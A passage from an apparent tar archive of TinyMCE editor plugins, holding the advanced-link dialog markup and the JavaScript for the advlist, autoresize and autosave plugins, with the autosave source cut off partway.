false;">{#advlink_dlg.general_tab}</a></span></li> <li id="popup_tab"><span><a href="javascript:mcTabs.displayTab('popup_tab','popup_panel');" onmousedown="return false;">{#advlink_dlg.popup_tab}</a></span></li> <li id="events_tab"><span><a href="javascript:mcTabs.displayTab('events_tab','events_panel');" onmousedown="return false;">{#advlink_dlg.events_tab}</a></span></li> <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#advlink_dlg.advanced_tab}</a></span></li> </ul> </div> <div class="panel_wrapper"> <div id="general_panel" class="panel current"> <fieldset> <legend>{#advlink_dlg.general_props}</legend> <table border="0" cellpadding="4" cellspacing="0"> <tr> <td class="nowrap"><label id="hreflabel" for="href">{#advlink_dlg.url}</label></td> <td><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="href" name="href" type="text" class="mceFocus" value="" onchange="selectByValue(this.form,'linklisthref',this.value);" /></td> <td id="hrefbrowsercontainer"> </td> </tr> </table></td> </tr> <tr id="linklisthrefrow"> <td class="column1"><label for="linklisthref">{#advlink_dlg.list}</label></td> <td colspan="2" id="linklisthrefcontainer"><select id="linklisthref"><option value=""></option></select></td> </tr> <tr> <td class="column1"><label for="anchorlist">{#advlink_dlg.anchor_names}</label></td> <td colspan="2" id="anchorlistcontainer"><select id="anchorlist"><option value=""></option></select></td> </tr> <tr> <td><label id="targetlistlabel" for="targetlist">{#advlink_dlg.target}</label></td> <td id="targetlistcontainer"><select id="targetlist"><option value=""></option></select></td> </tr> <tr> <td class="nowrap"><label id="titlelabel" for="title">{#advlink_dlg.titlefield}</label></td> <td><input id="title" name="title" type="text" value="" /></td> </tr> <tr> <td><label id="classlabel" for="classlist">{#class_name}</label></td> <td> <select id="classlist" name="classlist" onchange="changeClass();"> <option value="" selected="selected">{#not_set}</option> </select> </td> </tr> </table> </fieldset> </div> <div id="popup_panel" class="panel"> <fieldset> <legend>{#advlink_dlg.popup_props}</legend> <input type="checkbox" id="ispopup" name="ispopup" class="radio" onclick="setPopupControlsDisabled(!this.checked);buildOnClick();" /> <label id="ispopuplabel" for="ispopup">{#advlink_dlg.popup}</label> <table border="0" cellpadding="0" cellspacing="4"> <tr> <td class="nowrap"><label for="popupurl">{#advlink_dlg.popup_url}</label> </td> <td> <table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input type="text" name="popupurl" id="popupurl" value="" onchange="buildOnClick();" /></td> <td id="popupurlbrowsercontainer"> </td> </tr> </table> </td> </tr> <tr> <td class="nowrap"><label for="popupname">{#advlink_dlg.popup_name}</label> </td> <td><input type="text" name="popupname" id="popupname" value="" onchange="buildOnClick();" /></td> </tr> <tr> <td class="nowrap"><label>{#advlink_dlg.popup_size}</label> </td> <td class="nowrap"> <input type="text" id="popupwidth" name="popupwidth" value="" onchange="buildOnClick();" /> x <input type="text" id="popupheight" name="popupheight" value="" onchange="buildOnClick();" /> px </td> </tr> <tr> <td class="nowrap" id="labelleft"><label>{#advlink_dlg.popup_position}</label> </td> <td class="nowrap"> <input type="text" id="popupleft" name="popupleft" value="" onchange="buildOnClick();" /> / <input type="text" id="popuptop" name="popuptop" value="" onchange="buildOnClick();" /> (c /c = center) </td> </tr> </table> <fieldset> <legend>{#advlink_dlg.popup_opts}</legend> <table border="0" cellpadding="0" cellspacing="4"> <tr> <td><input type="checkbox" id="popuplocation" name="popuplocation" class="checkbox" onchange="buildOnClick();" /></td> <td class="nowrap"><label id="popuplocationlabel" for="popuplocation">{#advlink_dlg.popup_location}</label></td> <td><input type="checkbox" id="popupscrollbars" name="popupscrollbars" class="checkbox" onchange="buildOnClick();" /></td> <td class="nowrap"><label id="popupscrollbarslabel" for="popupscrollbars">{#advlink_dlg.popup_scrollbars}</label></td> </tr> <tr> <td><input type="checkbox" id="popupmenubar" name="popupmenubar" class="checkbox" onchange="buildOnClick();" /></td> <td class="nowrap"><label id="popupmenubarlabel" for="popupmenubar">{#advlink_dlg.popup_menubar}</label></td> <td><input type="checkbox" id="popupresizable" name="popupresizable" class="checkbox" onchange="buildOnClick();" /></td> <td class="nowrap"><label id="popupresizablelabel" for="popupresizable">{#advlink_dlg.popup_resizable}</label></td> </tr> <tr> <td><input type="checkbox" id="popuptoolbar" name="popuptoolbar" class="checkbox" onchange="buildOnClick();" /></td> <td class="nowrap"><label id="popuptoolbarlabel" for="popuptoolbar">{#advlink_dlg.popup_toolbar}</label></td> <td><input type="checkbox" id="popupdependent" name="popupdependent" class="checkbox" onchange="buildOnClick();" /></td> <td class="nowrap"><label id="popupdependentlabel" for="popupdependent">{#advlink_dlg.popup_dependent}</label></td> </tr> <tr> <td><input type="checkbox" id="popupstatus" name="popupstatus" class="checkbox" onchange="buildOnClick();" /></td> <td class="nowrap"><label id="popupstatuslabel" for="popupstatus">{#advlink_dlg.popup_statusbar}</label></td> <td><input type="checkbox" id="popupreturn" name="popupreturn" class="checkbox" onchange="buildOnClick();" checked="checked" /></td> <td class="nowrap"><label id="popupreturnlabel" for="popupreturn">{#advlink_dlg.popup_return}</label></td> </tr> </table> </fieldset> </fieldset> </div> <div id="advanced_panel" class="panel"> <fieldset> <legend>{#advlink_dlg.advanced_props}</legend> <table border="0" cellpadding="0" cellspacing="4"> <tr> <td class="column1"><label id="idlabel" for="id">{#advlink_dlg.id}</label></td> <td><input id="id" name="id" type="text" value="" /></td> </tr> <tr> <td><label id="stylelabel" for="style">{#advlink_dlg.style}</label></td> <td><input type="text" id="style" name="style" value="" /></td> </tr> <tr> <td><label id="classeslabel" for="classes">{#advlink_dlg.classes}</label></td> <td><input type="text" id="classes" name="classes" value="" onchange="selectByValue(this.form,'classlist',this.value,true);" /></td> </tr> <tr> <td><label id="targetlabel" for="target">{#advlink_dlg.target_name}</label></td> <td><input type="text" id="target" name="target" value="" onchange="selectByValue(this.form,'targetlist',this.value,true);" /></td> </tr> <tr> <td class="column1"><label id="dirlabel" for="dir">{#advlink_dlg.langdir}</label></td> <td> <select id="dir" name="dir"> <option value="">{#not_set}</option> <option value="ltr">{#advlink_dlg.ltr}</option> <option value="rtl">{#advlink_dlg.rtl}</option> </select> </td> </tr> <tr> <td><label id="hreflanglabel" for="hreflang">{#advlink_dlg.target_langcode}</label></td> <td><input type="text" id="hreflang" name="hreflang" value="" /></td> </tr> <tr> <td class="column1"><label id="langlabel" for="lang">{#advlink_dlg.langcode}</label></td> <td> <input id="lang" name="lang" type="text" value="" /> </td> </tr> <tr> <td><label id="charsetlabel" for="charset">{#advlink_dlg.encoding}</label></td> <td><input type="text" id="charset" name="charset" value="" /></td> </tr> <tr> <td><label id="typelabel" for="type">{#advlink_dlg.mime}</label></td> <td><input type="text" id="type" name="type" value="" /></td> </tr> <tr> <td><label id="rellabel" for="rel">{#advlink_dlg.rel}</label></td> <td><select id="rel" name="rel"> <option value="">{#not_set}</option> <option value="lightbox">Lightbox</option> <option value="alternate">Alternate</option> <option value="designates">Designates</option> <option value="stylesheet">Stylesheet</option> <option value="start">Start</option> <option value="next">Next</option> <option value="prev">Prev</option> <option value="contents">Contents</option> <option value="index">Index</option> <option value="glossary">Glossary</option> <option value="copyright">Copyright</option> <option value="chapter">Chapter</option> <option value="subsection">Subsection</option> <option value="appendix">Appendix</option> <option value="help">Help</option> <option value="bookmark">Bookmark</option> <option value="nofollow">No Follow</option> <option value="tag">Tag</option> </select> </td> </tr> <tr> <td><label id="revlabel" for="rev">{#advlink_dlg.rev}</label></td> <td><select id="rev" name="rev"> <option value="">{#not_set}</option> <option value="alternate">Alternate</option> <option value="designates">Designates</option> <option value="stylesheet">Stylesheet</option> <option value="start">Start</option> <option value="next">Next</option> <option value="prev">Prev</option> <option value="contents">Contents</option> <option value="index">Index</option> <option value="glossary">Glossary</option> <option value="copyright">Copyright</option> <option value="chapter">Chapter</option> <option value="subsection">Subsection</option> <option value="appendix">Appendix</option> <option value="help">Help</option> <option value="bookmark">Bookmark</option> </select> </td> </tr> <tr> <td><label id="tabindexlabel" for="tabindex">{#advlink_dlg.tabindex}</label></td> <td><input type="text" id="tabindex" name="tabindex" value="" /></td> </tr> <tr> <td><label id="accesskeylabel" for="accesskey">{#advlink_dlg.accesskey}</label></td> <td><input type="text" id="accesskey" name="accesskey" value="" /></td> </tr> </table> </fieldset> </div> <div id="events_panel" class="panel"> <fieldset> <legend>{#advlink_dlg.event_props}</legend> <table border="0" cellpadding="0" cellspacing="4"> <tr> <td class="column1"><label for="onfocus">onfocus</label></td> <td><input id="onfocus" name="onfocus" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onblur">onblur</label></td> <td><input id="onblur" name="onblur" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onclick">onclick</label></td> <td><input id="onclick" name="onclick" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="ondblclick">ondblclick</label></td> <td><input id="ondblclick" name="ondblclick" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onmousedown">onmousedown</label></td> <td><input id="onmousedown" name="onmousedown" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onmouseup">onmouseup</label></td> <td><input id="onmouseup" name="onmouseup" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onmouseover">onmouseover</label></td> <td><input id="onmouseover" name="onmouseover" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onmousemove">onmousemove</label></td> <td><input id="onmousemove" name="onmousemove" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onmouseout">onmouseout</label></td> <td><input id="onmouseout" name="onmouseout" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onkeypress">onkeypress</label></td> <td><input id="onkeypress" name="onkeypress" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onkeydown">onkeydown</label></td> <td><input id="onkeydown" name="onkeydown" type="text" value="" /></td> </tr> <tr> <td class="column1"><label for="onkeyup">onkeyup</label></td> <td><input id="onkeyup" name="onkeyup" type="text" value="" /></td> </tr> </table> </fieldset> </div> </div> <div class="mceActionPanel"> <input type="submit" id="insert" name="insert" value="{#insert}" /> <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> </div> </form> </body> </html> plugins/advlink/readme.txt 0000666 00000000075 15155066653 0011675 0 ustar 00 Check the TinyMCE documentation for details on this plugin. plugins/advlist/editor_plugin.js 0000666 00000003767 15155066653 0013132 0 ustar 00 (function(){var a=tinymce.each;tinymce.create("tinymce.plugins.AdvListPlugin",{init:function(b,c){var d=this;d.editor=b;function e(g){var f=[];a(g.split(/,/),function(h){f.push({title:"advlist."+(h=="default"?"def":h.replace(/-/g,"_")),styles:{listStyleType:h=="default"?"":h}})});return f}d.numlist=b.getParam("advlist_number_styles")||e("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman");d.bullist=b.getParam("advlist_bullet_styles")||e("default,circle,disc,square")},createControl:function(d,b){var f=this,e,h;if(d=="numlist"||d=="bullist"){if(f[d][0].title=="advlist.def"){h=f[d][0]}function c(i,k){var j=true;a(k.styles,function(m,l){if(f.editor.dom.getStyle(i,l)!=m){j=false;return false}});return j}function g(){var k,i=f.editor,l=i.dom,j=i.selection;k=l.getParent(j.getNode(),"ol,ul");if(!k||k.nodeName==(d=="bullist"?"OL":"UL")||c(k,h)){i.execCommand(d=="bullist"?"InsertUnorderedList":"InsertOrderedList")}if(h){k=l.getParent(j.getNode(),"ol,ul");if(k){l.setStyles(k,h.styles);k.removeAttribute("_mce_style")}}}e=b.createSplitButton(d,{title:"advanced."+d+"_desc","class":"mce_"+d,onclick:function(){g()}});e.onRenderMenu.add(function(i,j){j.onShowMenu.add(function(){var m=f.editor.dom,l=m.getParent(f.editor.selection.getNode(),"ol,ul"),k;if(l||h){k=f[d];a(j.items,function(n){var o=true;n.setSelected(0);if(l&&!n.isDisabled()){a(k,function(p){if(p.id==n.id){if(!c(l,p)){o=false;return false}}});if(o){n.setSelected(1)}}});if(!l){j.items[h.id].setSelected(1)}}});j.add({id:f.editor.dom.uniqueId(),title:"advlist.types","class":"mceMenuItemTitle"}).setDisabled(1);a(f[d],function(k){k.id=f.editor.dom.uniqueId();j.add({id:k.id,title:k.title,onclick:function(){h=k;g()}})})});return e}},getInfo:function(){return{longname:"Advanced lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("advlist",tinymce.plugins.AdvListPlugin)})(); plugins/advlist/editor_plugin_src.js 0000666 00000010236 15155066653 0013766 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { var each = tinymce.each; tinymce.create('tinymce.plugins.AdvListPlugin', { init : function(ed, url) { var t = this; t.editor = ed; function buildFormats(str) { var formats = []; each(str.split(/,/), function(type) { formats.push({ title : 'advlist.' + (type == 'default' ? 'def' : type.replace(/-/g, '_')), styles : { listStyleType : type == 'default' ? '' : type } }); }); return formats; }; // Setup number formats from config or default t.numlist = ed.getParam("advlist_number_styles") || buildFormats("default,lower-alpha,lower-greek,lower-roman,upper-alpha,upper-roman"); t.bullist = ed.getParam("advlist_bullet_styles") || buildFormats("default,circle,disc,square"); }, createControl: function(name, cm) { var t = this, btn, format; if (name == 'numlist' || name == 'bullist') { // Default to first item if it's a default item if (t[name][0].title == 'advlist.def') format = t[name][0]; function hasFormat(node, format) { var state = true; each(format.styles, function(value, name) { // Format doesn't match if (t.editor.dom.getStyle(node, name) != value) { state = false; return false; } }); return state; }; function applyListFormat() { var list, ed = t.editor, dom = ed.dom, sel = ed.selection; // Check for existing list element list = dom.getParent(sel.getNode(), 'ol,ul'); // Switch/add list type if needed if (!list || list.nodeName == (name == 'bullist' ? 'OL' : 'UL') || hasFormat(list, format)) ed.execCommand(name == 'bullist' ? 'InsertUnorderedList' : 'InsertOrderedList'); // Append styles to new list element if (format) { list = dom.getParent(sel.getNode(), 'ol,ul'); if (list) { dom.setStyles(list, format.styles); list.removeAttribute('_mce_style'); } } }; btn = cm.createSplitButton(name, { title : 'advanced.' + name + '_desc', 'class' : 'mce_' + name, onclick : function() { applyListFormat(); } }); btn.onRenderMenu.add(function(btn, menu) { menu.onShowMenu.add(function() { var dom = t.editor.dom, list = dom.getParent(t.editor.selection.getNode(), 'ol,ul'), fmtList; if (list || format) { fmtList = t[name]; // Unselect existing items each(menu.items, function(item) { var state = true; item.setSelected(0); if (list && !item.isDisabled()) { each(fmtList, function(fmt) { if (fmt.id == item.id) { if (!hasFormat(list, fmt)) { state = false; return false; } } }); if (state) item.setSelected(1); } }); // Select the current format if (!list) menu.items[format.id].setSelected(1); } }); menu.add({id : t.editor.dom.uniqueId(), title : 'advlist.types', 'class' : 'mceMenuItemTitle'}).setDisabled(1); each(t[name], function(item) { item.id = t.editor.dom.uniqueId(); menu.add({id : item.id, title : item.title, onclick : function() { format = item; applyListFormat(); }}); }); }); return btn; } }, getInfo : function() { return { longname : 'Advanced lists', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/advlist', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('advlist', tinymce.plugins.AdvListPlugin); })(); plugins/autoresize/editor_plugin.js 0000666 00000002306 15155066653 0013642 0 ustar 00 (function(){tinymce.create("tinymce.plugins.AutoResizePlugin",{init:function(a,c){var d=this;if(a.getParam("fullscreen_is_enabled")){return}function b(){var h=a.getDoc(),e=h.body,j=h.documentElement,g=tinymce.DOM,i=d.autoresize_min_height,f;f=tinymce.isIE?e.scrollHeight:j.offsetHeight;if(f>d.autoresize_min_height){i=f}g.setStyle(g.get(a.id+"_ifr"),"height",i+"px");if(d.throbbing){a.setProgressState(false);a.setProgressState(true)}}d.editor=a;d.autoresize_min_height=a.getElement().offsetHeight;a.onChange.add(b);a.onSetContent.add(b);a.onPaste.add(b);a.onKeyUp.add(b);a.onPostRender.add(b);if(a.getParam("autoresize_on_init",true)){a.onInit.add(function(f,e){f.setProgressState(true);d.throbbing=true;f.getBody().style.overflowY="hidden"});a.onLoadContent.add(function(f,e){b();setTimeout(function(){b();f.setProgressState(false);d.throbbing=false},1250)})}a.addCommand("mceAutoResize",b)},getInfo:function(){return{longname:"Auto Resize",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("autoresize",tinymce.plugins.AutoResizePlugin)})(); plugins/autoresize/editor_plugin_src.js 0000666 00000007276 15155066653 0014524 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing */ (function() { /** * Auto Resize * * This plugin automatically resizes the content area to fit its content height. * It will retain a minimum height, which is the height of the content area when * it's initialized. */ tinymce.create('tinymce.plugins.AutoResizePlugin', { /** * Initializes the plugin, this will be executed after the plugin has been created. * This call is done before the editor instance has finished it's initialization so use the onInit event * of the editor instance to intercept that event. * * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. * @param {string} url Absolute URL to where the plugin is located. */ init : function(ed, url) { var t = this; if (ed.getParam('fullscreen_is_enabled')) return; /** * This method gets executed each time the editor needs to resize. */ function resize() { var d = ed.getDoc(), b = d.body, de = d.documentElement, DOM = tinymce.DOM, resizeHeight = t.autoresize_min_height, myHeight; // Get height differently depending on the browser used myHeight = tinymce.isIE ? b.scrollHeight : de.offsetHeight; // Don't make it smaller than the minimum height if (myHeight > t.autoresize_min_height) resizeHeight = myHeight; // Resize content element DOM.setStyle(DOM.get(ed.id + '_ifr'), 'height', resizeHeight + 'px'); // if we're throbbing, we'll re-throb to match the new size if (t.throbbing) { ed.setProgressState(false); ed.setProgressState(true); } }; t.editor = ed; // Define minimum height t.autoresize_min_height = ed.getElement().offsetHeight; // Add appropriate listeners for resizing content area ed.onChange.add(resize); ed.onSetContent.add(resize); ed.onPaste.add(resize); ed.onKeyUp.add(resize); ed.onPostRender.add(resize); if (ed.getParam('autoresize_on_init', true)) { // Things to do when the editor is ready ed.onInit.add(function(ed, l) { // Show throbber until content area is resized properly ed.setProgressState(true); t.throbbing = true; // Hide scrollbars ed.getBody().style.overflowY = "hidden"; }); ed.onLoadContent.add(function(ed, l) { resize(); // Because the content area resizes when its content CSS loads, // and we can't easily add a listener to its onload event, // we'll just trigger a resize after a short loading period setTimeout(function() { resize(); // Disable throbber ed.setProgressState(false); t.throbbing = false; }, 1250); }); } // Register the command so that it can be invoked by using tinyMCE.activeEditor.execCommand('mceExample'); ed.addCommand('mceAutoResize', resize); }, /** * Returns information about the plugin as a name/value array. * The current keys are longname, author, authorurl, infourl and version. * * @return {Object} Name/value array containing information about the plugin. */ getInfo : function() { return { longname : 'Auto Resize', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autoresize', version : tinymce.majorVersion + "." + tinymce.minorVersion }; } }); // Register plugin tinymce.PluginManager.add('autoresize', tinymce.plugins.AutoResizePlugin); })(); plugins/autosave/editor_plugin.js 0000666 00000006735 15155066653 0013311 0 ustar 00 (function(e){var c="autosave",g="restoredraft",b=true,f,d,a=e.util.Dispatcher;e.create("tinymce.plugins.AutoSave",{init:function(i,j){var h=this,l=i.settings;h.editor=i;function k(n){var m={s:1000,m:60000};n=/^(\d+)([ms]?)$/.exec(""+n);return(n[2]?m[n[2]]:1)*parseInt(n)}e.each({ask_before_unload:b,interval:"30s",retention:"20m",minlength:50},function(n,m){m=c+"_"+m;if(l[m]===f){l[m]=n}});l.autosave_interval=k(l.autosave_interval);l.autosave_retention=k(l.autosave_retention);i.addButton(g,{title:c+".restore_content",onclick:function(){if(i.getContent({draft:true}).replace(/\s| |<\/?p[^>]*>|<br[^>]*>/gi,"").length>0){i.windowManager.confirm(c+".warning_message",function(m){if(m){h.restoreDraft()}})}else{h.restoreDraft()}}});i.onNodeChange.add(function(){var m=i.controlManager;if(m.get(g)){m.setDisabled(g,!h.hasDraft())}});i.onInit.add(function(){if(i.controlManager.get(g)){h.setupStorage(i);setInterval(function(){h.storeDraft();i.nodeChanged()},l.autosave_interval)}});h.onStoreDraft=new a(h);h.onRestoreDraft=new a(h);h.onRemoveDraft=new a(h);if(!d){window.onbeforeunload=e.plugins.AutoSave._beforeUnloadHandler;d=b}},getInfo:function(){return{longname:"Auto save",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave",version:e.majorVersion+"."+e.minorVersion}},getExpDate:function(){return new Date(new Date().getTime()+this.editor.settings.autosave_retention).toUTCString()},setupStorage:function(i){var h=this,k=c+"_test",j="OK";h.key=c+i.id;e.each([function(){if(localStorage){localStorage.setItem(k,j);if(localStorage.getItem(k)===j){localStorage.removeItem(k);return localStorage}}},function(){if(sessionStorage){sessionStorage.setItem(k,j);if(sessionStorage.getItem(k)===j){sessionStorage.removeItem(k);return sessionStorage}}},function(){if(e.isIE){i.getElement().style.behavior="url('#default#userData')";return{autoExpires:b,setItem:function(l,n){var m=i.getElement();m.setAttribute(l,n);m.expires=h.getExpDate();m.save("TinyMCE")},getItem:function(l){var m=i.getElement();m.load("TinyMCE");return m.getAttribute(l)},removeItem:function(l){i.getElement().removeAttribute(l)}}}},],function(l){try{h.storage=l();if(h.storage){return false}}catch(m){}})},storeDraft:function(){var i=this,l=i.storage,j=i.editor,h,k;if(l){if(!l.getItem(i.key)&&!j.isDirty()){return}k=j.getContent({draft:true});if(k.length>j.settings.autosave_minlength){h=i.getExpDate();if(!i.storage.autoExpires){i.storage.setItem(i.key+"_expires",h)}i.storage.setItem(i.key,k);i.onStoreDraft.dispatch(i,{expires:h,content:k})}}},restoreDraft:function(){var h=this,i=h.storage;if(i){content=i.getItem(h.key);if(content){h.editor.setContent(content);h.onRestoreDraft.dispatch(h,{content:content})}}},hasDraft:function(){var h=this,k=h.storage,i,j;if(k){j=!!k.getItem(h.key);if(j){if(!h.storage.autoExpires){i=new Date(k.getItem(h.key+"_expires"));if(new Date().getTime()<i.getTime()){return b}h.removeDraft()}else{return b}}}return false},removeDraft:function(){var h=this,k=h.storage,i=h.key,j;if(k){j=k.getItem(i);k.removeItem(i);k.removeItem(i+"_expires");if(j){h.onRemoveDraft.dispatch(h,{content:j})}}},"static":{_beforeUnloadHandler:function(h){var i;e.each(tinyMCE.editors,function(j){if(j.plugins.autosave){j.plugins.autosave.storeDraft()}if(j.getParam("fullscreen_is_enabled")){return}if(!i&&j.isDirty()&&j.getParam("autosave_ask_before_unload")){i=j.getLang("autosave.unload_msg")}});return i}}});e.PluginManager.add("autosave",e.plugins.AutoSave)})(tinymce); plugins/autosave/editor_plugin_src.js 0000666 00000033033 15155066653 0014147 0 ustar 00 /** * editor_plugin_src.js * * Copyright 2009, Moxiecode Systems AB * Released under LGPL License. * * License: http://tinymce.moxiecode.com/license * Contributing: http://tinymce.moxiecode.com/contributing * * Adds auto-save capability to the TinyMCE text editor to rescue content * inadvertently lost. This plugin was originally developed by Speednet * and that project can be found here: http://code.google.com/p/tinyautosave/ * * TECHNOLOGY DISCUSSION: * * The plugin attempts to use the most advanced features available in the current browser to save * as much content as possible. There are a total of four different methods used to autosave the * content. In order of preference, they are: * * 1. localStorage - A new feature of HTML 5, localStorage can store megabytes of data per domain * on the client computer. Data stored in the localStorage area has no expiration date, so we must * manage expiring the data ourselves. localStorage is fully supported by IE8, and it is supposed * to be working in Firefox 3 and Safari 3.2, but in reality is is flaky in those browsers. As * HTML 5 gets wider support, the AutoSave plugin will use it automatically. In Windows Vista/7, * localStorage is stored in the following folder: * C:\Users\[username]\AppData\Local\Microsoft\Internet Explorer\DOMStore\[tempFolder] * * 2. sessionStorage - A new feature of HTML 5, sessionStorage works similarly to localStorage, * except it is designed to expire after a certain amount of time. Because the specification * around expiration date/time is very loosely-described, it is preferrable to use locaStorage and * manage the expiration ourselves. sessionStorage has similar storage characteristics to * localStorage, although it seems to have better support by Firefox 3 at the moment. (That will * certainly change as Firefox continues getting better at HTML 5 adoption.) * * 3. UserData - A very under-exploited feature of Microsoft Internet Explorer, UserData is a * way to store up to 128K of data per "document", or up to 1MB of data per domain, on the client * computer. The feature is available for IE 5+, which makes it available for every version of IE * supported by TinyMCE. The content is persistent across browser restarts and expires on the * date/time specified, just like a cookie. However, the data is not cleared when the user clears * cookies on the browser, which makes it well-suited for rescuing autosaved content. UserData, * like other Microsoft IE browser technologies, is implemented as a behavior attached to a * specific DOM object, so in this case we attach the behavior to the same DOM element that the * TinyMCE editor instance is attached to. */ (function(tinymce) { // Setup constants to help the compressor to reduce script size var PLUGIN_NAME = 'autosave', RESTORE_DRAFT = 'restoredraft', TRUE = true, undefined, unloadHandlerAdded, Dispatcher = tinymce.util.Dispatcher; /** * This plugin adds auto-save capability to the TinyMCE text editor to rescue content * inadvertently lost. By using localStorage. * * @class tinymce.plugins.AutoSave */ tinymce.create('tinymce.plugins.AutoSave', { /** * Initializes the plugin, this will be executed after the plugin has been created. * This call is done before the editor instance has finished it's initialization so use the onInit event * of the editor instance to intercept that event. * * @method init * @param {tinymce.Editor} ed Editor instance that the plugin is initialized in. * @param {string} url Absolute URL to where the plugin is located. */ init : function(ed, url) { var self = this, settings = ed.settings; self.editor = ed; // Parses the specified time string into a milisecond number 10m, 10s etc. function parseTime(time) { var multipels = { s : 1000, m : 60000 }; time = /^(\d+)([ms]?)$/.exec('' + time); return (time[2] ? multipels[time[2]] : 1) * parseInt(time); }; // Default config tinymce.each({ ask_before_unload : TRUE, interval : '30s', retention : '20m', minlength : 50 }, function(value, key) { key = PLUGIN_NAME + '_' + key; if (settings[key] === undefined) settings[key] = value; }); // Parse times settings.autosave_interval = parseTime(settings.autosave_interval); settings.autosave_retention = parseTime(settings.autosave_retention); // Register restore button ed.addButton(RESTORE_DRAFT, { title : PLUGIN_NAME + ".restore_content", onclick : function() { if (ed.getContent({draft: true}).replace(/\s| |<\/?p[^>]*>|<br[^>]*>/gi, "").length > 0) { // Show confirm dialog if the editor isn't empty ed.windowManager.confirm( PLUGIN_NAME + ".warning_message", function(ok) { if (ok) self.restoreDraft(); } ); } else self.restoreDraft(); } }); // Enable/disable restoredraft button depending on if there is a draft stored or not ed.onNodeChange.add(function() { var controlManager = ed.controlManager; if (controlManager.get(RESTORE_DRAFT)) controlManager.setDisabled(RESTORE_DRAFT, !self.hasDraft()); }); ed.onInit.add(function() { // Check if the user added the restore button, then setup auto storage logic if (ed.controlManager.get(RESTORE_DRAFT)) { // Setup storage engine self.setupStorage(ed); // Auto save contents each interval time setInterval(function() { self.storeDraft(); ed.nodeChanged(); }, settings.autosave_interval); } }); /** * This event gets fired when a draft is stored to local storage. * * @event onStoreDraft * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. * @param {Object} draft Draft object containing the HTML contents of the editor. */ self.onStoreDraft = new Dispatcher(self); /** * This event gets fired when a draft is restored from local storage. * * @event onStoreDraft * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. * @param {Object} draft Draft object containing the HTML contents of the editor. */ self.onRestoreDraft = new Dispatcher(self); /** * This event gets fired when a draft removed/expired. * * @event onRemoveDraft * @param {tinymce.plugins.AutoSave} sender Plugin instance sending the event. * @param {Object} draft Draft object containing the HTML contents of the editor. */ self.onRemoveDraft = new Dispatcher(self); // Add ask before unload dialog only add one unload handler if (!unloadHandlerAdded) { window.onbeforeunload = tinymce.plugins.AutoSave._beforeUnloadHandler; unloadHandlerAdded = TRUE; } }, /** * Returns information about the plugin as a name/value array. * The current keys are longname, author, authorurl, infourl and version. * * @method getInfo * @return {Object} Name/value array containing information about the plugin. */ getInfo : function() { return { longname : 'Auto save', author : 'Moxiecode Systems AB', authorurl : 'http://tinymce.moxiecode.com', infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/autosave', version : tinymce.majorVersion + "." + tinymce.minorVersion }; }, /** * Returns an expiration date UTC string. * * @method getExpDate * @return {String} Expiration date UTC string. */ getExpDate : function() { return new Date( new Date().getTime() + this.editor.settings.autosave_retention ).toUTCString(); }, /** * This method will setup the storage engine. If the browser has support for it. * * @method setupStorage */ setupStorage : function(ed) { var self = this, testKey = PLUGIN_NAME + '_test', testVal = "OK"; self.key = PLUGIN_NAME + ed.id; // Loop though each storage engine type until we find one that works tinymce.each([ function() { // Try HTML5 Local Storage if (localStorage) { localStorage.setItem(testKey, testVal); if (localStorage.getItem(testKey) === testVal) { localStorage.removeItem(testKey); return localStorage; } } }, function() { // Try HTML5 Session Storage if (sessionStorage) { sessionStorage.setItem(testKey, testVal); if (sessionStorage.getItem(testKey) === testVal) { sessionStorage.removeItem(testKey); return sessionStorage; } } }, function() { // Try IE userData if (tinymce.isIE) { ed.getElement().style.behavior = "url('#default#userData')"; // Fake localStorage on old IE return { autoExpires : TRUE, setItem : function(key, value) { var userDataElement = ed.getElement(); userDataElement.setAttribute(key, value); userDataElement.expires = self.getExpDate(); userDataElement.save("TinyMCE"); }, getItem : function(key) { var userDataElement = ed.getElement(); userDataElement.load("TinyMCE"); return userDataElement.getAttribute(key); }, removeItem : function(key) { ed.getElement().removeAttribute(key); } }; } }, ], function(setup) { // Try executing each function to find a suitable storage engine try { self.storage = setup(); if (self.storage) return false; } catch (e) { // Ignore } }); }, /** * This method will store the current contents in the the storage engine. * * @method storeDraft 